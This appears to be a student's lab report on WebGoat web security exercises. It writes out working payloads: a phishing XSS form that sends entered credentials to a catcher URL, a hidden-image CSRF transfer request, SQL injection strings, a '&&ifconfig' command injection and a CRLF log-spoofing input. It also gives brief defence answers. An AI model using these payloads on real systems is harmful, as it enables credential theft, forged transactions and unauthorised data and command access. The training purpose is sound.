20145335郝昊《网络攻防》Exp9 Web安全基础实践

实验内容

  • 理解常用网络攻击技术的基本原理。

  • 完成WebGoat实践下相关实验

实验步骤

XSS注入攻击

#######Phishing with XSS

  • 这个XSS攻击比较简单,需要的是在网页的文本框里写一个钓鱼网站,仔细读给的题目就可以分析出来(但是英语四级没过的我很伤=_=)

      </form>
    <script>
    function hack(){
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    }
    </script>
    <form name="phish">
    <br>
    <br>
    <HR>
    <H2>This feature requires account login:</H2>
    <br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
    <br>
    <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
  • 之后点击提交,结果如下

#######Stored XSS Attacks

  • 这个是XSS攻击相对于简单一些的,要注意message的语法,输入命令<script> alert("输入你想输入的内容"); </script>其中alert函数就相当于c中的printf函数,注意其用法

  • 在message里输入的效果如下图

########Reflected XSS Attacks

  • 根据题目的提示,需要在文本框中数输入http://www.targetserver.com/search.asp?input=<script>alert("hello 5335");</script>

  • 之后提交到,显示结果如下

  • 注意:这个实验结果看起来和上面的挺相似,但是中间的过程是不同的,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容
CSRF攻击

#######Cross Site Request Forgey

  • 同样先别着急做题目,先查找一些题目中所给出的有效信息,因为后面会用到从题目所给出的一条语句,也就是解这道题目和之后csrf题目的关键

  • 通过题目可以分析出来,发送邮件,其中有个包含XSRF页面的请求的图像,但是这个图像需要隐藏。可以得到一条语句<img src=!attack?Screen=!&menu=!&transferFunds=!' width='1' height='1'>分析题目可以得到需要得到这四个感叹号的值。第一个是第一个要输入的是哪个网站的attack,这里由于指向本网址,所以可以不填。、第二、三个感叹号值需要在网站里面寻找。第四个是指你让被攻击这想转多少前,这个就可以自己定。

  • 其中第二三个值在网页下面有一个表名为Parameters的表格,里面列出了所需要的src的值和menu的值,对于不同的电脑的值是不同的。所以我的代码应该是<img src='attack?Screen=283&menu=900&transferFunds=5335' width='1' height='1'>

  • 下一步就是在网页中填写message,添加一个title,之后随便写点内容,在把代码贴进去,点击发送

    之后在,在下面的MeaasgeLsit里点击一下,这个题目就完成了。

  • 操作步骤如下

  • 这个练习主要目的是让我们学会如何使用CSRF,用户在通过身份认证登录银行的网站A时,浏览器拿到了银行网站的cookies。接下来用户在A网站开着的情况下访问了B网站,这个B网站隐藏在图片里面,而图片又是不可见的,隐藏在Message里面。说明用户在不知情的情况下打开了邮件,顺便打开了B网站!B网站给A网站发送恶意请求,在A网站还开着的情况下,浏览器会误以为是用户发送请求,然后就会带着cookies和B网站发送的请求(例如转钱等)访问A网站执行!

########Prompt By-pass

  • 通过分析题目,这个和上一个挺相似,但是增加了一个新的恶意请求:一个是赚钱的金额,另一个是确认。

  • 根据上一个可以分析出来这个题目也是需要将信息伪装到邮件当中的,只不过这次需要两份邮件来完成,邮件中嵌入的代码和上一个类似,只不过第二个邮件需要将参数transferFunds从转账金额改为CONFIRM(其他的参数不变依然从自己的网页中寻找答案),之后发送两份邮件,点击第二封有邮件,可以发现完成了这个题目。

#######HTTPOnly Test

  • 这个实验也是运气还不错,点击yes 和 Read Cookie。

SQL练习
  • 首先做关于sql注入练习的时候需要用到kali自带的软件Burpsuite。有些需要进行注入,但是显然网页是无法注入的,此时就需要从捕获 包中修改信息进行注入。在使用软件的时候有些选项需要修改和配置。

  • 首先打开软件,next->start打开软件。

  • 设置代理Proxy->Optiuons选项,进行修改。默认是8080端口,但被占用需要添加一个新的端口,点击add,如下图所示

  • 此时改完以后还需要对火狐浏览器进行修改,即需要修改为数据包通过这个软件流通,不然设置好了也抓不上数据包。如下图所示

  • 在settings 里将No proxy修改为Manual proxy configuations并写入本机ip地址,和ip端口。

  • 注意:在做完实验记得将火狐浏览器的偏好设置关掉,不然无法正常上网

    #######String SQL Injection

  • 这个题目第8周实验的题目有些类似,因为题目的意思是通过SQL注入让所有信用卡号都看得见。题目最后一句话是 Try the user name of 'Simth'可以看出来尝试输入名字就可以得到其信用卡信息(当然我试了我自己的名字显然是没有我的信息=_=)

  • 那么解题的方式就在于构造一个永远都成立的式子,即构造一个语句'or 1='1,这样这道题目就迎刃而解。

#######Numeric SQL Injection

  • 根据题目进行分析 ,利用SQL注入使得可以看见所有所需要的数据,但是不同的是上一个可以在网站有输入框可以直接注入,但是这个不可以,就需要利用软件来抓包并修改数据。

  • 打开之前所说的软件并配置

  • 设置好之后回到题目,点击GO,再回到软件中,就可以发现捕获到的数据包

  • 之后在上图截获的数据中右键send to repeater之后修改station的值,从103修改为 103 or 1=1

  • 点击GO,可以看到右边response包中的SQL语句为

    SELECT * FROM weather_data WHERE station = 103 or 1=1正好是我们想要的。

  • 回到proxy,点击Intercept is on 发现这个题目完成了。

########Command Injection

  • 同样先看题目,确定题目需要让我们干什么,经过分析,同样是注入命令行。

  • 之前对于软件的的配置是与上一题是一样的先点击网页,看看能抓到什么包。

  • 我们发现可改部分是使用了命令行cat语句。注入的命令是AccessControlMatrix.help"&&ifconfig",解释一下,前面是原来的正常命令。而&&在命令行中是执行另外一条语句,最后一个双引号用来封闭原来的双引号!再次点击GO发现执行了ifconfig语句

  • 回到网页,发现这倒实验题目成功

#######Log Spoofing

  • 这道题目目的是让我们伪造一个假的日志信息,欺骗过去

  • 在user name 一栏里输入%0d%0aLogin Succeed fo 密码我输入了学号,就成功了。

实验问答

  • SQL注入攻击原理?如何防御?

    • 攻击原理:利用自己构造的sql语句来达到自己的(恶意)请求或访问,从中获取到一些不是自己所得到的信息。比如对原有数据库的非法修改和添加等基本操作。

    • 防御方法:因为在注入攻击是输入sql语句的,是需要很长的输入,可以通过输入规则限制来防范,除需要的字符外,其他类型的字符不允许输入

  • XSS攻击原理?如何方法?

    • 攻击原理:是跨站脚本攻击,XSS攻击类似于SQL注入攻击,将攻击代码写在url或者数据库存储里面,通过其他工具诱使别人访问从而运行代码。

    • 防御方法:与sql相似,对于输入规则进行控制,除一些需要的特殊字符外,其他的字符不能被输入或者限制输入。或者对于输入进行过滤。

  • CSRF攻击原理?如何防御?

    • 攻击原理:CSRF中的R是指request,恶意的请求,比xss还具危险信,是一种对网站的恶意利用,将一些恶意请求夹杂在邮件或其工具中传播,进行一些非常危险的冒名操作

    • 防御方法:对于一些不确定的信息,最好使用类似于验证码的方式来确认对方身份,对于用户修改删除等操作最好避免全站通用的cookie,严格设置cookie的域。

实验中遇到的问题

  • 在最开始解压压缩包的时候,卡在了一步运行不下去,问了课题负责人,他说他也没见过,不知道为什么,很难受

  • 后来问题解决了,是因为8080端口被占用的,被apapche2占用了,导致在解压的时候出了问题,后来kill 了进程号,就解压成功了

心得体会

总的来说这次实验如果能很好的理解上一次实验的基础,这次实验还是比较好做的。在这次实验第一个遇到的问题上面也提过,真的搞了好久,后来发现却是因为一个小问题。在开始做题的时候总是会磕磕绊绊,发现是对于题目理解的不透彻,如果对于题目不理解,那根本不知道题目的解题思路是什么,更别说车成功做出题目了借助周岐浩同学的博客对于做的题目有所了解(当然了我和他做的大部分题目还是不一样的)。在做csrf时候命令里!代表的数字始终寻找不到,或者找到是错误的,在仔细阅读题目的要求后发现是在网页下面表格中有给出。在做题的时候需要把握住sql注入是注入恶意代码或命令就需要有注入的地方,理解题意,网站上没有注入的地方就从后台注入,包括老师上课掩饰的键入f12打开网页源代码进行注入等等,总是一类题目会有一类的共同点,这对于解题也会有一点帮助。

20145335郝昊《网络攻防》Exp9 Web安全基础实践的更多相关文章

  1. 20155211 网络对抗 Exp9 Web安全基础实践

    20155211 网络对抗 Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语 ...

  2. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  3. 20155304 《网络对抗》Exp9 web安全基础实践

    20155304 <网络对抗>Exp9 web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 攻击原理:web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应 ...

  4. 20155306白皎 《网络对抗》 Exp9 Web安全基础实践

    20155306白皎 <网络对抗> Exp9 Web安全基础实践 一.基本问题回答 SQL注入攻击原理,如何防御 原理是: 就是通过把SQL命令插入到"Web表单递交" ...

  5. 20145233《网络对抗》Exp9 Web安全基础实践

    20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  6. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  7. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  8. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

  9. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

随机推荐

  1. ios-多语言版本开发(三)(转载)

    写在前面  iOS 多语言版本的开发(二)中我们实现了如何让用户自己去切换系统语言的功能,我们还写了Demo 以供辅助学习:但是,继以上两篇文章都是建立在项目刚刚启动或启动不久,项目中存在的中文字符串 ...

  2. android ImageView加圆角

    1.attrs添加 <declare-styleable name="RoundImageView"> <attr name="circle" ...

  3. jmeter测试手机号码归属地

    jmeter测试手机号码归属地接口时,HTTP请求有以下两种书写方法: 1.请求和参数一同写在路径中 2.参数单独写在参数列表中 请求方法既可以使用GET方法又可以使用POST方法. 注意:“服务器名 ...

  4. redhat7:用户、组和权限

    用户: 任何用户被分配一个独特的用户id号(UID)  (UID 0标识root用户    用户账号通常从UID 1000开始(在redhat6及之前的版本,从500开始))  . 用户名和UID信息 ...

  5. 关hashMap跟hashTable的区别

    1.HashMap和Hashtable都实现了Map接口 2.HashMap是非synchronized,而Hashtable是synchronized 3.HashTable使用Enumeratio ...

  6. 问题解决 -------- 解决YUM下Loaded plugins: fastestmirror Determining fastest mirrors 的问题

    解决YUM下Loaded plugins: fastestmirror Determining fastest mirrors 的问题 (2012-09-02 13:09:25) 转载▼ 标签: 杂谈 ...

  7. col-md-*和col-sm-*

    屏幕大于(≥992px) ,使用col-md-* 而不是col-sm-*如果屏幕大于(≥768px),小雨<=992px,使用col-sm-* 而不是col-md-*

  8. Thinkpad机器BIOS下清除安全芯片和指纹数据的方法

    清除安全芯片: 首先在刚开机出现ThinkPad图标时,按F1进入BIOS界面,然后长按关机按钮关机(注意一定是断电的关机,不是重新启动)然后开机再按F1键进入BIOS设置.选择“Securiy”-〉 ...

  9. 机器学习理论基础学习17---贝叶斯线性回归(Bayesian Linear Regression)

    本文顺序 一.回忆线性回归 线性回归用最小二乘法,转换为极大似然估计求解参数W,但这很容易导致过拟合,由此引入了带正则化的最小二乘法(可证明等价于最大后验概率) 二.什么是贝叶斯回归? 基于上面的讨论 ...

  10. 【介绍+安装】Nginx的介绍和安装详解

    == 介绍和安装 == Nginx是一个自由.开源.高性能及轻量级的HTTP服务器及反转代理服务器, 其性能与IMAP/POP3代理服务器相当.Nginx以其高性能.稳定.功能丰富.配置简单及占用系统 ...